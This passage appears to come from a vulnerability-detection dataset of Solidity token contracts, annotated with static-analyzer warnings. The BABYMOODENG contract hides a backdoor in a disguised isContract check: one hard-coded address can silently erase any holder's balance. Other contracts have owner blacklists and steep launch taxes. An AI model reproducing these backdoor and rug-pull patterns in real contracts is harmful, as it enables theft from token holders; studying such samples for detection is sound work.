a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract COW is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1dad97b): COW._taxWallet should be immutable \n\t// Recommendation for 1dad97b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n string private constant _name = unicode\"COW\";\n\n string private constant _symbol = unicode\"COW\";\n\n\t// WARNING Optimization Issue (constable-states | ID: ef4bfe5): COW._initialBuyTax should be constant \n\t// Recommendation for ef4bfe5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 675dadb): COW._initialSellTax should be constant \n\t// Recommendation for 675dadb: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7d1506a): COW._finalBuyTax should be constant \n\t// Recommendation for 7d1506a: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 273a3f1): COW._finalSellTax should be constant \n\t// Recommendation for 273a3f1: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a3099f2): COW._reduceBuyTaxAt should be constant \n\t// Recommendation for a3099f2: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 33;\n\n\t// WARNING Optimization Issue (constable-states | ID: a65882f): COW._reduceSellTaxAt should be constant \n\t// Recommendation for a65882f: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 37;\n\n\t// WARNING Optimization Issue (constable-states | ID: 515ab1e): COW._preventSwapBefore should be constant \n\t// Recommendation for 515ab1e: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 36;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1842f3e): COW._taxSwapThreshold should be constant \n\t// Recommendation for 1842f3e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: a82f871): COW._maxTaxSwap should be constant \n\t// Recommendation for a82f871: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() payable {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: a324024): COW.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for a324024: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f269bda): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f269bda: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c1dc735): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c1dc735: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f269bda\n\t\t// reentrancy-benign | ID: c1dc735\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f269bda\n\t\t// reentrancy-benign | ID: c1dc735\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 4184516): COW._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 4184516: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: c1dc735\n\t\t// reentrancy-benign | ID: def7eb4\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f269bda\n\t\t// reentrancy-events | ID: bc3837a\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 10fba2f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 10fba2f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: affb303): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for affb303: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 10fba2f\n\t\t\t\t// reentrancy-eth | ID: affb303\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 10fba2f\n\t\t\t\t\t// reentrancy-eth | ID: affb303\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: affb303\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: affb303\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: affb303\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 10fba2f\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: affb303\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: affb303\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 10fba2f\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f269bda\n\t\t// reentrancy-events | ID: bc3837a\n\t\t// reentrancy-events | ID: 10fba2f\n\t\t// reentrancy-benign | ID: c1dc735\n\t\t// reentrancy-benign | ID: def7eb4\n\t\t// reentrancy-eth | ID: bdb9b3e\n\t\t// reentrancy-eth | ID: 7d8ecf6\n\t\t// reentrancy-eth | ID: affb303\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 420d1e0): COW.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 420d1e0: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f269bda\n\t\t// reentrancy-events | ID: bc3837a\n\t\t// reentrancy-events | ID: 10fba2f\n\t\t// reentrancy-eth | ID: bdb9b3e\n\t\t// reentrancy-eth | ID: 7d8ecf6\n\t\t// reentrancy-eth | ID: affb303\n\t\t// arbitrary-send-eth | ID: 420d1e0\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) public onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = true;\n }\n }\n\n function delBots(address[] memory notbot) public onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: bc3837a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for bc3837a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: def7eb4): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for def7eb4: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b76fa8b): COW.Launch() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for b76fa8b: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 48fea4d): COW.Launch() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 48fea4d: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: bdb9b3e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for bdb9b3e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7d8ecf6): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7d8ecf6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function Launch() public onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), msg.sender, type(uint256).max);\n\n\t\t// reentrancy-events | ID: bc3837a\n\t\t// reentrancy-benign | ID: def7eb4\n\t\t// reentrancy-eth | ID: bdb9b3e\n\t\t// reentrancy-eth | ID: 7d8ecf6\n transfer(address(this), balanceOf(msg.sender).mul(98).div(100));\n\n\t\t// reentrancy-events | ID: bc3837a\n\t\t// reentrancy-benign | ID: def7eb4\n\t\t// reentrancy-eth | ID: bdb9b3e\n\t\t// reentrancy-eth | ID: 7d8ecf6\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-events | ID: bc3837a\n\t\t// reentrancy-benign | ID: def7eb4\n _approve(address(this), address(uniswapV2Router), type(uint256).max);\n\n\t\t// unused-return | ID: 48fea4d\n\t\t// reentrancy-eth | ID: bdb9b3e\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: b76fa8b\n\t\t// reentrancy-eth | ID: bdb9b3e\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: bdb9b3e\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: bdb9b3e\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10852.sol",
"size_bytes": 21266,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor()\n Erc20(unicode\"BABYMOODENG\", unicode\"BABYMOODENG\", 9, 100000000000)\n {}\n}\n",
"file_name": "solidity_code_10853.sol",
"size_bytes": 7320,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract DJT is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n address payable private _TaxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: dc89548): DJT._initialBuyTax should be constant \n\t// Recommendation for dc89548: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 182a1e2): DJT._initialSellTax should be constant \n\t// Recommendation for 182a1e2: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n uint256 private _finalBuyTax = 1;\n\n uint256 private _finalSellTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1ac4fd8): DJT._reduceBuyTaxAt should be constant \n\t// Recommendation for 1ac4fd8: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 363ab88): DJT._reduceSellTaxAt should be constant \n\t// Recommendation for 363ab88: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7618c7f): DJT._preventSwapBefore should be constant \n\t// Recommendation for 7618c7f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Media\";\n\n string private constant _symbol = unicode\"DJT\";\n\n uint256 public _maxTxAmount = 50000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 50000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 43a9e3d): DJT._taxSwapThreshold should be constant \n\t// Recommendation for 43a9e3d: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 10000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3d9f7ba): DJT._maxTaxSwap should be constant \n\t// Recommendation for 3d9f7ba: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 10000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _TaxWallet = payable(0xD8d5db9a3A257f89F64E2739cf082E7629b61083);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_TaxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n function getTrumpWallet() public view returns (address) {\n return _TaxWallet;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 3d25659): DJT.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 3d25659: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 74d3d95): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 74d3d95: Apply the check-effects-interactions pattern (see 